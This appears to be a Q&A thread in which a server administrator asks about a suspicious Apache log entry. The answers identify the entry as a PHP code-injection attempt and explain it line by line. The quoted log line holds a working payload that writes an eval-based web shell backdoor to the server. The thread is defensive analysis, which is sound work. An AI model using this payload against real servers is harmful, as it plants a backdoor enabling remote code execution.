4

Today we have received following request in the Apache access logs file.

"GET //?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0);@set_magic_quotes_runtime(0);echo%20'-%3E%7C';file_put_contents(dirname($_SERVER%5B'SCRIPT_FILENAME'%5D).'/cache/cachee.php','%3C?php%20eval($_POST%5Bshine%5D);?%3E');echo%20'%7C%3C-'; HTTP/1.1" 200 42303

As clearly seen from above request URL, the hacker is trying to attempt POST the data or file through GET request and surprisingly he has got 200 Status Code in Response status.

Which type of hacking attempt is it?

Note:- For Security reason, we have blocked all POST request except some forms URL on our server.

So any hacker who is trying to post some malicious data on our server will get 403 Status code in Response

above hacker POSTED Some data through GET Request and he has got 200 Status Code in Response.

Please help me in knowing which type of hacking technique is this?

1
  • If you block certain methods, you should respond with a "405 Method Not Allowed", not a 403
    – Beat
    Commented Aug 7, 2017 at 16:18

2 Answers 2

4

The hacker does not POST the data. POST is a HTTP method as much as GET, HEAD, OPTIONS and similar. Contrary to GET the POST method can have a request body to transfer the data. Still, it is possible to transfer data within a GET request too, for example inside the query string of the URL (i.e. the part starting with ?) like you see in the logs. There is nothing special about it and in fact this is the way data are transferred if you use a HTML form and don't explicitly specify a method.
And since this is just normal behavior the server will return a successful response code.

4
  • thanx for your reply but can you please explain from access log row from my question what hacker has actually tried? Commented Aug 4, 2017 at 5:43
  • @PawanPatil: this looks like PHP code. So my guess is that the attacker tries some kind of code injection attack, i.e. tries to make your server execute this code. Commented Aug 4, 2017 at 5:46
  • what will be the consequences of it?can you please give me some link/thread to read about such attacks Commented Aug 4, 2017 at 9:06
  • 1
    @PawanPatil check this out owasp.org/index.php/Code_Injection Commented Aug 4, 2017 at 10:26
4

The provided GET request appears to contain a payload that is attempting to execute malicious activities on a web server. Let's break down the elements of this payload:

@ini_set("display_errors","0");: This sets the PHP configuration option display_errors to 0, which means that PHP errors will not be displayed to the user.

@set_time_limit(0);: This sets the maximum execution time for the script to unlimited, allowing it to run without any time restrictions.

@set_magic_quotes_runtime(0);: This disables the deprecated magic_quotes_runtime feature in PHP.

echo '->|';: Outputs the string '->|'.

file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/cache/cachee.php','<?php eval($_POST[shine]);?>');: This writes a PHP script to a file named cachee.php in a subdirectory called 'cache' relative to the current script. The script contains PHP code to execute whatever is passed in the 'shine' POST parameter using the eval function. This is a classic technique used to create a backdoor for remote code execution.

echo '|<-';: Outputs the string '|<-'.

The intention of this payload is to create a backdoor script (cachee.php) on the server that allows an attacker to execute arbitrary PHP code by sending a POST request with the 'shine' parameter containing the code to be executed. The payload also takes measures to suppress error messages and extend the execution time.

If you find such requests in your server logs, it indicates an attempt to exploit vulnerabilities and compromise the security of your server. It's crucial to investigate and take appropriate measures to secure your system, such as updating software, tightening server configurations, and monitoring for suspicious activities.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .